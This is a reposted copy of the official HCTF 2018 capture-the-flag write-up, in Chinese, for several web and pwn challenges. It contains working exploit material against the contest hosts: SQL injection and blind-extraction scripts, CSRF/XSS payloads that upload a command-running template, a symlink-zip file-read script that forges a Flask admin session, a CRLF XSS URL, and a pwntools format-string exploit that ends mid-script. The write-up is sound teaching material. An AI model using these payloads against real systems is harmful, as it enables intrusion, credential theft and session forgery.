HCTF-2018-Official-Writeup

转载

怀念_过去 于 2018-11-14 18:27:07 发布 3696 收藏 1

分类专栏： CTF


CTF 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

转载至官方writeup

Web

Warmup

web签到

首先打开然后看F12啦，注释里提示是source.php，php审计，问题出在

```
$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}
```

用%253f就可以绕过了，再结合hint.php里的flag in fffflllaaaagggg (抱歉。。似乎应该加个/的)

payload:http://warmup.2018.hctf.io/index.php?file=hint.php%3f/../../../fffflllaaaagggg

kzone

大二狗第一次出题，出的不够严谨，导致了比较严重的非预期，不过看到非预期的姿势也非常有趣，赛后调查数据又看到很多师傅表示很喜欢这道题目，我就觉得这道题目还是有意义的。

那么先来说说我本身的出题思路吧！

首先，题目本身是基于我今年暑假遇到的一个QQ空间钓鱼平台的源码改造而来的，这个钓鱼平台本身的问题很多，这次题目就是利用了其中`memeber.php`中存在的 cookie 注入点 。

来看看平台本身的注入点：

```php
$admin_user=base64_decode($_COOKIE['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if($udata['username']==''){
 setcookie("islogin", "", time() - 604800);
 setcookie("admin_user", "", time() - 604800);
 setcookie("admin_pass", "", time() - 604800);
}
$admin_pass=sha1($udata['password'].LOGIN_KEY);
if($admin_pass==$_COOKIE["admin_pass"]){
 $islogin=1;
}else{
 setcookie("islogin", "", time() - 604800);
 setcookie("admin_user", "", time() - 604800);
 setcookie("admin_pass", "", time() - 604800);
}
```

而在原本的代码基础上，我将`admin_user`和`admin_pass`的引入方式改为`json_decode`(后面会解释原因)，并且增加了一个全局 WAF，对`$_GET` `$_POST` `$_COOKIE`分别进行了过滤

过滤的内容如下：

```
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|and|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
```

那么如何绕过这个 WAF 呢？大多数师傅都是利用了`json`反序列化时，会将`Unicode`解码的特性，实现了完全绕过 WAF，这里其实是我过滤的不够完善了。大家可以想一下，如果`\`也被过滤掉，还有没有其他姿势呢？

其实这个 WAF 造成最大的障碍就是过滤了`or`导致没有办法通过`information_schema`库来查询表名，然而其实`MySQL` 5.7 之后的版本，在其自带的`mysql`库中，新增了`innodb_table_stats`和`innodb_index_stats`这两张日志表。如果数据表的引擎是`innodb`，则会在这两张表中记录表、键的信息。

而从`install.sql`中可以看出，网站使用的正是`innodb`引擎

```sql
CREATE TABLE IF NOT EXISTS `fish_admin` (
  `id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(20) NOT NULL,
  `password` char(32) NOT NULL,
  `name` varchar(255) DEFAULT '',
  `qq` varchar(255) DEFAULT '',
  `per` int(11) NOT NULL DEFAULT '3',
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=innodb  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
```

因此我们使用`mysql.innodb_table_stats`来代替`information_schema.tables`即可获取表名。于是现在我们需要思考如何判断注入结果，`sleep`和`benchmark`都已经被过滤了，只能考虑布尔盲注(不考虑笛卡尔积...)。

那么现在是时候来解释一下为什么我要把`base64_decode`换成`json_decode`了，这个思路其实是来自`微擎`之前一个版本的漏洞：

```php
$session = json_decode(authcode($_GPC['__session']), true);
if (is_array($session)) {
 $user = user_single(array('uid'=>$session['uid']));
 if (is_array($user) && $session['hash'] == md5($user['password'] . $user['salt'])) {
  $_W['uid'] = $user['uid'];
  $_W['username'] = $user['username'];
  $user['currentvisit'] = $user['lastvisit'];
  $user['currentip'] = $user['lastip'];
  $user['lastvisit'] = $session['lastvisit'];
  $user['lastip'] = $session['lastip'];
  $_W['user'] = $user;
  $_W['isfounder'] = user_is_founder($_W['uid']);
  unset($founders);
 } else {
  isetcookie('__session', false, -100);
 }
 unset($user);
}
unset($session);
```

简单来说，就是`微擎`将用于验证用户身份的`hash`值，使用了`json_encode`进行序列化并储存在 cookie 里面。而在验证的时候，再用`json_decode`反序列化后取出。但是需要注意的是，在将`hash`值与数据库中存储的用户密码的`md5`值进行比较的时候，使用的是弱比较，这就导致我们可以通过构造`json`字符串使`hash`值为数字，利用弱类型，绕过用户身份验证，实现任意用户登录。

我在这里套用了这个漏洞：

```
= json_ecode(_COOKIE['login_data'], true);
```

构造条件语句，这样就可以通过登录状态来进行布尔盲注了。

然而没想到的两点是：

这恰恰引入了利用`json`反序列化 Unicode 绕过 WAF 的漏洞

利用平台本身的逻辑问题，就可以实现布尔注入，具体位置就在上面的代码中：

- 当查询返回的用户名为空且密码错误时，进行四次`setcookie`操作
- 当查询返回的用户名为不为空时，进行两次`setcookie`操作

利用这个差异，就已经可以实现布尔盲注了。

所以，这道题目对于我这个出题人来说，其实算是一个比较失败的产物，好在题目本身还能够让一些选手收获知识/乐趣，而且还是有一些队伍是按照我的预期思路做出的这道题目的。而经历48小时的蹂躏后，题目共有 33 只队伍提交有效答案，最终分值为 361分， 也符合我的预期。

未来的一年，我会努力学习更多姿势、积累出题经验，争取在明年的 HCTF 上，给大家带来更优质的题目。

最后，附上我的预期解`exp`

```python
import requests

url = 'http://kzone.2018.hctf.io/admin/'
key = ''
strings = [chr(i) for i in range(32, 127)]

while True:
    for i in reversed(strings):
```

```
        if 'or' in key + i:
            continue
        #payload = "admin' and (select group_concat(table_name) from mysql.innodb_table_stats) between '%s' a
nd '%s' and '1" % (key + i, chr(126))
        payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))

        headers = {
            'cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' %
                      payload.replace(' ', '/**/').replace("\"", '\\"'),
        }
        #print(headers)
        r = requests.get(url, headers=headers)
        #print(r.text)
        if 'Management Index' in r.text:
            key += i
            break
        else:
            print(i)
    print(key)
```

Share

step1:

从**http://share.2018.hctf.io/robots.txt**中获取到题目部分源码

class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]

```
# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
```

```
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end
```

接着在代码中我们可以获取到

```
  before_action :authenticate_user!

before_action :authenticate_role

before_action :authenticate_admin

protect_from_forgery :except => [:upload , :share_people_test]
```

这个controller的所有function都需要admin权限，且`upload`和`share_people_tet`是没有csrf token认证的。

step2:

在 **http://share.2018.hctf.io/home/share** 中存在一个提交表单，提交一段xss可以看到xss会被执行，但cookie开启了httponly。所以我们可以进行csrf upload来上传文件，之后再通过csrf获取上传后的文件名。

payload 如下：

```
<!-- csrf upload payload -->

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://share.2018.hctf.io/file/upload", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8");
```

```
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarysWrrwCoy7FeMquna")
;

xhr.withCredentials = "true";

var body = "------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +

"Content-Disposition: form-data; name="file[context]"\r\n" +

"\r\n" +

"aaaa" +

"\r\n" +

"------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +

"Content-Disposition: form-data; name="file[myfile]"; filename="Li4vLi4vYXBwL3ZpZXdzL2hvbWUvY3NyZi5lcmI="\r\
n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"PCU9IGBscyAuLi8uLi9gICU+\r\n" +

"------WebKitFormBoundarysWrrwCoy7FeMquna\r\n" +

"Content-Disposition: form-data; name="commit"\r\n" +

"\r\n" +

"submit  \r\n" +

"------WebKitFormBoundarysWrrwCoy7FeMquna--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

submitRequest();

</script>
```

```
<!-- csrf post payload -->
<form action="http://share.2018.hctf.io/file/Alpha_test" id="test" method="POST">
        <input type="text" name="uid"><br>
        <input type="text" name="fid">

    </form>
</body>
<script>
```

```
    var f=document.getElementById("test");
    f.getElementsByTagName("input")[0].value="2";
    f.getElementsByTagName("input")[1].value="3";
    f.submit();
</script>
```

step3:

hint 1和hint2分别给出了views的目录结构和index.html.erb中的一段局部渲染代码。

```
hint1:

views

|-- devise

| |-- confirmations

| |-- mailer

| |-- passwords

| |-- registrations

| |
-- new.html.erb | |-- sessions | |
- new.html.erb

| |-- shared

|
-- unlocks |-- file |-- home | |-- Alphatest.erb | |-- addtest.erb | |-- home.erb | |-- index.html.erb | |--
 publiclist.erb | |-- share.erb |
- upload.erb

|-- layouts

| |-- application.html.erb

| |-- mailer.html.erb

|
-- mailer.text.erb
- recommend

`-- show.erb

hint2:

<%= render template: “home/”+params[:page] %>
```

从hint2可以明确(看到hint1其实可以猜测)的知道需要跨目录上传文件到**app/views/home**下，在ruby的官网也能看到

CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir 且在upload中同样使用到了tempfile，尝试使用该漏洞进行跨目录上传恶意文件。

最后再csrf获取该文件名字，访问`http://share.2018.hctf.io/home/获得的filename`，done!

ps: 这一题出的时间比较赶，没有思考好场景怎么造比较好，所以这道题存在被偷鸡的方式，且中途由于bot没写好容易挂的原因给各位师傅造成不便，有点抱歉。最后谢谢做我题目的师傅，都是好人呐QAQ

admin

这题本来的思路是希望大家了解下Unicode的安全问题

然后因为出题人的安全疏忽，产生了很多非预期

预期解法

这个是`spotify`的一个漏洞

就是照着这个的逻辑写了一份代码

按这个做题就好了

有个队的玄学解题，我猜是条件竞争的问题

hide_and_seek

step1:

- 访问 http://hideandseek.2018.hctf.io/ 提示要登录，随便试几个登录，发现只有admin不能登录，然后登录成功后发现名为session的cookie中有一段疑似base64，尝试decode，发现是类似{“username”:“123”}的信息，如果手动构造base64部分的信息为{“username”:“admin”}就会失去登录状态（有经验的师傅可以猜到使用的是securecookie机制，如果能够得到签名的key和签名方法等相关信息就能想办法伪造session） 如果不知道也没有关系，思路是一样的，先想办法得到源代码。
- **step2:**
  - 登录成功后发现有一个上传点，经过测试只能上传zip文件，上传之后回返回zip解压后的文件内容。尝试压缩一个软链接文件并上传，链接指向`/etc/passwd`，发现有回显相应的文件内容。这样就得到了一个任意文件下载

  step3:
  - 接下来是想办法获得源代码路径。
  - 思路1：一波猜测啥也没有，结合题目名称hide and seek，这里应该是一个点。然后这里linux中有一个思想是`一切皆文件`，了解到linux下，`/proc/`路径下保存进程相关信息，https://www.cnblogs.com/DswCnblog/p/5780389.html ，然后尝试过后在 /proc/self/environ (self可以换成其他pid号)环境变量中可以找到配置文件路径和一些信息

```
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=ff4d6ee39413
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
```

```
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0
```

- 思路2：一波猜测还真的就可以猜出点东西，从之前的cookie可以猜测是flask，然后猜测路径为/app/main.py，得到如下

```
from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
    return "Hello World from Flask in a uWSGI Nginx Docker container with \
     Python 3.6 (default)"

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)
```

docker一搜就出来了，然后就可以自己搭环境，配置docker然后试试看有那些地方可能有用信息了，然后回到思路1

关于hint1：docker 。

1. 因为docker基本都是linux，而linux就有上述文件特性，对应思路1。
2. 另外提示环境是在docker中的，那么结合之前猜测的flask，或者结合自己读到的一些其他信息，比如`/app/uwsgi.ini`或者`/proc/pid/cmdline`（有好多选手都读到了这个文件，但是没有继续深挖其他信息，比如`/proc/10/cmdline`就有uwsgi.ini）然后可以搜索docker image，搜索flask或者uwsgi第一个都是`tiangolo/uwsgi-nginx-flask`，下载下来部署会发现里面默认有/app/main.py，这个时候可以尝试验证一下题目环境中有没有这个文件，如果有，那大致就确定了docker环境，对应思路2

关于hint2：only few things running on it。主要有一些选手从`/proc/1/cmdline`一直扫到`/proc/9999/cmdline`都不死心…所以放出这个hint

发现配置文件路径后，再读配置文件 /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

```
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
```

- 这样就找到了源代码路径/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

```
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
```

```
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)
```

- 然后还有模板中关键代码，模板位置/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html

```
{% if user == 'admin' %}
        Your flag: <br>
        {{ flag  }}
```

- 做到这里，读一下源码基本都有底了，从源代码中我们知道直接读flag是不可行的，必须要让自己成为admin才能获得flag

step4:

- 这里通过源码确定是flask的默认的securecookie机制，接下来目标就是伪造admin的session了，这里session内容由base64+签名组成，所以可以通过获得key来伪造签名，注意到

```
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
```

- 需要注意到前面获得的配置信息中写了python3.6 `uuid.getnode()` 获得10进制mac地址，同样利用linux文件特性，最后可以在 `/sys/class/net/eth0/address` 获得这个mac
- 然后是一个伪随机，可以模拟。最终得到SECRET_KEY。
- 之后可以自己搭个简单的flask环境来获得session值，带着这个session访问即获得flag

下面附上exp

```
#!/usr/bin/env python3
# coding=utf-8
```

```
import requests
import random
import re
import os
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

def read_file(file_name):
    link(file_name)
    files = {'the_file': open(file_name[-5:] + '.zip', 'rb')}
    r2 = s.post(url+'upload', files=files)
    return r2.text

def link(file_name):
    os.system('ln -s {file_name} {output}'.format(file_name = file_name, output = file_name[-5:]))
    os.system('zip -y -m {output}.zip {output}'.format(file_name = file_name, output = file_name[-5:]))


url = 'http://hideandseek.2018.hctf.io/'
with requests.Session() as s:
    user_data = {'username': '123', 'password': '123456789'}
    r = s.post(url+'login', data=user_data)
    en = read_file('/proc/self/environ')
    print(en)
    ini = re.search('UWSGI_INI=(.*?)\x00', en).group(1)
    pwd = re.search('PWD=(.*?)\x00', en).group(1)
    print(ini)
    print(pwd)
    ini = read_file(ini)
    print(ini)
    source = re.search('module = .*?\.(.*?)\n', ini).group(1)
    source = pwd+'/'+source+'.py'
    source = read_file(source)
    print(source)
    if(source.find('import') == -1):
        exit('fail')
    mac = '/sys/class/net/eth0/address'
    mac = read_file(mac)
    mac = mac[:-1]
    mac = ''.join(mac.split(':'))
    mac = int(mac, 16)
    print(mac)
    random.seed(mac)
    key = random.random()*100
    print(key)

app = Flask(__name__)
app.config['SECRET_KEY'] = str(key)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)
cookies = {'session': session}
r = requests.get(url, cookies=cookies)
print(r.text)
```

Bottle

hint1 */3 */10
hint2 firefox

payload

```
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0a%0d%0a%0d<script>alert `1` </script
>`
```

一个CLRF头注入,当端口小与80时猜测firefox不会跳转
利用这个特性使其加载js达到xss

绕csp

`hint1 : */3 */10`
这是服务器重启的两个时间
bottle每次重启时响应头顺序可能会随机变化
人为干预了下这变化
`*/3` 为csp在上面location在下面的服务重启时间
`*/10` 为csp在下面location在上面的服务重启时间
需要在指定时间内上传`payload`才能拿flag

环境

https://github.com/Lou00/HCTF2018_Bottle

game

这个漏洞是属于一个逻辑漏洞，但是他的数据获取过程非常像sql注入时的布尔盲注，所以我取了个描述为crazy inject。整个题目就分为登录，注册，游戏（获得分数）以及排行榜功能。今年因为一些事情导致出题比较匆忙，思路是藏了很久的思路。
漏洞是从实际网站测试过程中发现的，部分网站在一些排名列表处只做了sql注入防御，而没有控制order by 后面实际的内容。排行榜本身模拟的id，username，sex，score是正常开发者想使用的字段，但是攻击者可以使用password字段进行排序，通过不断构造数据不一样的账号通过排列顺序盲注出指定账号的数据。
做出来的队伍基本上都是我的预期解，下面是一位优秀选手的poc，思路一致。

```python
#encoding:utf-8
import requests
import string
import base64
import random
def catch(num,str1):
    a=0
    b=97
    while(a<=b):
        mid=(a+b)/2
        tmp =hex(mid)[2:]
        if len(tmp)==1:
            tmp="0"+tmp
        str2=str1+"%"+tmp
        print str2
        usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13))
        url="http://game.2018.hctf.io/web2/action.php?action=reg"
        data = 'username=%s&password=%s&sex=1&submit=submit' %  (usernew,str2)
        headers={"Content-Type": "application/x-www-form-urlencoded"}
        #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"}
        #strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
        #print url
```

```
        #正常用法
        r=requests.post(url,data=data,headers=headers)
        #print r.content
        #用于burp调试
        #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
        #print r.content
        sss = requests.get('http://game.2018.hctf.io/web2/user.php?order=password',headers={"Cookie":"PH
PSESSID=p9op1amllrobs6okqfkih2vr40"}).content
        index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\
n\t\t\t\t\t\t\tadmin')
        print usernew
        index2=sss.index(usernew)
        print index1
        print index2
        if index1 > index2:
            b =  mid -1
        else:
            a = mid +1
    tmp =hex(a-1)[2:]
    if len(tmp)==1:
        tmp="0"+tmp
    return "%"+tmp
    #print "###################################"
    # found=False
if __name__ == "__main__":
    #payloads = list(string.ascii_lowercase)
    #payloads.append("_;")
    payloads='!"#$%&\'()*+,-./:;<=>?@0123456789abcdefghijklmnopqrstuvwxyz[\\]^_`{|}~'
    #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ01234567
89')
    user='%44%53%41%38%26%26%21%40%23%24%25'
    for i in range(1,100):
        user = user+catch(i,user)
        print "now user is "+user
    #catch(5,"dsa8<")
```

注册好多号不断的逼近admin的密码，登录后访问flag.php【user.php里有提示】，拿到flag。

Pwn

the end

这题本意是作为签到题，看下来效果也的确不错。

程序给你5次任意地址写1byte的机会，然后马上exit。那么问题很明显，肯定是要怼exit了。

因为程序是FULL RELRO的，所以打linkmap的方法就无法生效了（hack.lu ctf slot_machine）

仔细跟踪exit，能够控制程序流的地方有两处，一处是tls，一处是IO_FILE。

tls处5bytes大概是搞不定了，所以我们可以看一下IO_FILE。

在IO_FILE的调用中，用到了stdout的vtable。由于题目使用了2.23的libc，因此我先用2byte改vtable到libc got表附近，让call vtable[idx]正好跳到realloc.got，我们用剩下的3byte改realloc_hook中的初始值到one_gadget，就能getshell。

由于close了stdout和stderr，其实我们可以`cat flag 1>&0`。stdin也是可以用来输出的。

heapstorm zero

只有3解比较意外，我本意是作为中等题的。

这题来源于我对null off by one的思考，理论上来说，null off by one 打在fastbin上是不可能被利用的，因为size位直接变成了0。那如何让选手在只能分配fastbin的同时利用null off by one呢？

只能藏一个比较不明显的分配大堆块的行为了。这个行为由scanf来做到。虽然我setvbuf了，输入超长字符串的时候scanf还是会在堆上分配buffer来暂存我们的输入。最小分配size也是0x400，也就是一个large chunk了。这样我们就有了触发malloc consolidate的能力，将多个fastbin融合成一个unsorted bin，然后利用null off by one，就能在堆上搞事了。

接下来就是overlap heap等一系列冗长的利用，因为使用了calloc，构造起来还是比较复杂的，这里就不细说了。

之后我是leak了libc，造出了fastbin dup，然后利用fd在main arena上留一个size，然后fastbin attack打过去，利用这个堆块就可以在main arena的fastbin list上写东西，部分控制fastbin list以后我们可以最终改到top chunk指针，指到malloc hook前，然后改malloc hook到onegadget，通过再次malloc成功get shell。

当然我也看到了其他选手的流量，有选手是通过orange做的，当然也是可以的。

christmas

这题出了一点点的小意外，我本来是当作pwn压轴出的，因为我当时想搜amd64的alphanumeric shellcode encoder，并没有看到alpha3这个神器，所以打算将编写encoder作为题目的一部分（然而选手都比我聪明，找到了现成的encoder，因此题目难度大幅降低 orz orz orz。

any way，还是说一下我的思路。

先不说shellcode上的限制。选手需要在只能用exit或loop做盲测的情况下找到一个未知的lib中的一个函数的位置，调用它，并测出flag。

找lib的方法大致有两种。

1.可以在got上摸到linkmap地址（因为没有pie和full relro），利用linkmap上的`l_next`我们可以一个个linkmap摸过去，直到找到libflag的。得到基地址后我们可以通过header上的信息得到strtab和symtab的位置，然后通过字符串比较手动解析`flag_yes_1337`函数的位置。（我和其他队伍做法）

2.因为程序没有pie，我们可以在got等地方get libc的地址，通过偏移算出`libc_dlsym`，然后调用这个函数解析`flag_yes_1337`所在位置。（Nu1L）

之后，调用`flag_yes_1337`，flag字符串来到rax，然后盲测每一bit得到flag。

现在问题就来到了如何将我们shellcode encode成alphanumeric 。

方法还是有两种：

1.在网上找到alpha3 encoder，魔改后直接使用。（所有队伍做法）

2.自己写一个encoder。

得知他们都是用alpha3以后，我也去读了一下alpha3的做法。通过比较我也发现我的encoder还是离大佬写的差了很多。

不过出于学习，我也在此介绍一下我写encoder的思路。

encode无非是xor，或一层，直接用解密真实shellcode；或两层，先解密一个精致的encoder，这个encoder再去解密真实的shellcode。

我采用了一层的做法，这样做的缺点就是encode后shellcode长度会膨胀很厉害。

如何xor指定offset的一个byte？？

```
xor [rax+rdi],dl
xor [rax+rdi],dh
xor [rax+rdi+0x32],dl
xor [rax+rdi+0x32],dh
```

这些都是比较好的gadget。那问题就到了如何设置rdi上。

```
push XXX
push rsp
pop rcx
imul edi,[rcx],YYY
```

因为imul的对象是edi，因此可以将最高位溢出，得到一个几乎任意的edi值，但是XXX和YYY除都必须是alphanumeric，这个问题不大，我做了打表处理。

举个例子，我们要xor idx为80处的byte，可以通过一下代码实现。

```
push 1431655766
push rsp
pop rcx
imul edi,[rcx],48
xor [rax+rdi+48],dl
```

idx的问题解决了，就是怎么合理设置dl或dh的值让所有byte xor或不xor后，结果都落在alphanumeric范围中。

我用脚本跑了一下，[0x80,0xff] 的字符最少需要4个不同的值才能全部xor到alphanumeric，而[0x00,0x7f]只需要3个不同的值。

比如我们取 0x30，0x59，0x55来xor [0x00,0x7f] ，取0x80，0xc0，0x88，0xc8来xor [0x80,0xff]，分别放到dh和dl，就有了下面4个int，这几个值都能通过上面设置idx的方法得到。

```
r8  : 0x3080
r9  : 0x59c0
r10 : 0x5988
rdx : 0x55c8
```

这样无论遇到什么byte，我们都能通过这个方法xor了 。 nice~

baby printf ver2

本意是想让选手绕printf_chk，但没限制好（orz

思路大概和phrack的文章差不多，在printf的时候覆盖file结构的flag2，只不过他用的是printf自身的洞，这边用stdout的缓存去覆盖

exp 用printf_chk leak + 改vtable，可能麻烦了点。

有师傅用%a来leak，很强（这是真没想到，这样理论上不需要code段地址

最后控制rip使用 printf触发malloc 也是比较简单的方法

exp

```
from pwn import *
context.log_level='debug'
p=process('./babyprintf')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]
```

```
buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16)-0x21b97
success('libc {}'.format(hex(libc_addr)))

fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))


io_check=0x8A150
sh=libc_addr+0x1B3E9A
system=libc_addr+0x4f440
def write_to(addr,val):
    fmt_s=val
    fake_stdout=p64(0xfbad2284|0x8000)
    fake_stdout+=p64(addr)*5
    fake_stdout+=p64(addr+8)
    fake_stdout=fake_stdout.ljust(112,'\x00')
    fake_stdout+=p32(1)
    fake_stdout=fake_stdout.ljust(0xd8,'\x00')
    fake_stdout+=p64(buff);
    poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
    poc1=poc1.ljust(0x100,'\x00')
    poc1+=fake_stdout
    poc1+=p64(0xdeadbeef)*3
    p.sendline(poc1)
    p.recvuntil('\n')

def rol(x,off):
    return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

write_to(stack_addr,p64(libc_addr+0x3EB008+1))
fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
```

```
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x14f0,'a'*8)
write_to(libc_addr+0x3F0668,p64(rol((libc_addr+0x8A150)^u64('a'*8),17)))
